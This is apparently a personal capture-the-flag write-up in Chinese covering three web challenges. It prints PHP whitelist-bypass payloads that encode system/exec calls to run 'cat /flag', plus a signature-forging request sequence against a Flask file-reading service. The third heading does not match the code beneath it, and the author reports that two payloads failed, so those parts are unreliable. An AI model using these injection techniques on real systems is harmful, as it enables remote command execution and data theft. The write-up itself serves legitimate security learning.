[BSidesCF 2019]Kookie
解题
跟着题目提示改Cookie就行
[CISCN 2019 初赛]Love Math
思路
挺有意思的一道题
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
解题
看了别人的解法才会,各种方法一个个试试吧
参考文献:buuctf-[CISCN 2019 初赛]Love Math(小宇特详解)-CSDN博客
刷题记录:[CISCN 2019 初赛]Love Math – MustaphaMond – 博客园 (cnblogs.com)
PHP将字符串视作函数名
?c=($_GET['a'])($_GET['b'])&a=system&b=ls
# 其中 _GET 可以转换为 hex2bin('5f474554')
# hex2bin是把十六进制值转换为 ASCII 字符
# '5f474554' 可以转换为 dechex(1598506324) 在白名单上
# hex2bin 可以视作34进制的数值表示
# hex2bin 可以表示为 base_convert(26941962055,10,34) 在白名单上
# 变量用函数名好了,有白名单
?c=$pi='_GET';($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
# 结合一下
?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
getallheaders()函数
?c=exec(getallheaders(){1})
# exec -> base_convert(588892,10,34)
# getallheaders -> base_convert(8768397090111664438,10,30)
# 优化
?c=$pi=base_convert;$pi(588892,10,34)($pi(8768397090111664438,10,30)(){1})
# header:
1: cat /flag
按照那位blogger的说法是这样的,但我没成功,方案可以记一记
直接cat /flag
?c=exec('cat /flag')
# exec -> base_convert(588892,10,34)
# cat /flag -> hex2bin(dechex(1833249936404176986471))
# hex2bin -> base_convert(26941962055,10,34)
?c=($pi=base_convert)(588892,10,34)($pi(26941962055,10,34)(dechex(1833249936404176986471)))
也没成功,太长了,但可以记一下
注意
数组索引的时候,
[]可以用{}代替
参考:PHP中的的大括号(花括号{})使用详解_php里面的花括号-CSDN博客
另外,顺便做了个任意小写字符和数字的字符串转换为进制数的python程序:
# 将小写字符串视作进制数
import string
def get_num(s):
return ord(s) - ord('a') + 10
mx = 0
str = 'echo' # input here
for i in str:
if i in string.ascii_lowercase:
mx = max(mx, get_num(i))
print(i, ":", get_num(i))
base = mx + 1
num = 0
for i in str:
if i in string.digits:
num = num * base + int(i)
elif i in string.ascii_lowercase:
num = num * base + get_num(i)
print(f'"{str}"=base_convert({num},10,{base})')
(补)[极客大挑战 2019]RCE ME
思路
先将代码格式化一下
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = hashlib.md5(ip.encode()).hexdigest()
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open(f"./{self.sandbox}/result.txt", 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
with open(f"./{self.sandbox}/result.txt", 'r') as f:
result['data'] = f.read()
result['code'] = 200
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
return getSign(self.action, self.param) == self.sign
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.parse.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.parse.unquote(request.cookies.get("action", ""))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign", ""))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
with open("code.txt", "r") as f:
return f.read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.request.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def waf(param):
check = param.strip().lower()
return check.startswith("gopher") or check.startswith("file")
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
一步一步来看,先看两个路由
De1ta
从cookies中获得action和sign,从get参数中获得param
action = urllib.parse.unquote(request.cookies.get("action", ""))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign", ""))
对于param有过滤函数,不能gopher或file协议开头
def waf(param):
check = param.strip().lower()
return check.startswith("gopher") or check.startswith("file")
之后会创建一个Task对象,返回.Exec()结果。
会先验证一下sign,也就是说md5(sk+param+action)要等于sign,要在cookie中传入正确的sign
def getSign(action, param):
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
看代码含义,一是要让action既要有scan又要有read
二是要让param读出flag.txt
if "scan" in self.action:
tmpfile = open(f"./{self.sandbox}/result.txt", 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
with open(f"./{self.sandbox}/result.txt", 'r') as f:
result['data'] = f.read()
result['code'] = 200
这下只有sign不确定了,很显然我们要让sign=md5(sk+flag.txt+scanread)才行(或者readscan)
geneSign
它会返回md5(sk+param+scan),显然我们让param为flag.txtread就行
解题
/geneSign?param=flag.txtread
# 得到sign -> a945e68e3dfe1520b8ae561217182c4f
# cookie:
# sign=a945e68e3dfe1520b8ae561217182c4f
# action=readscan
# get:
/De1ta?param=flag.txt
-> {"code": 200, "data": "flag{03322633-74be-43d3-95cf-4dcecdb0c059}\n"}
注意
我才知道路由是什么。。
另外,读代码不要心急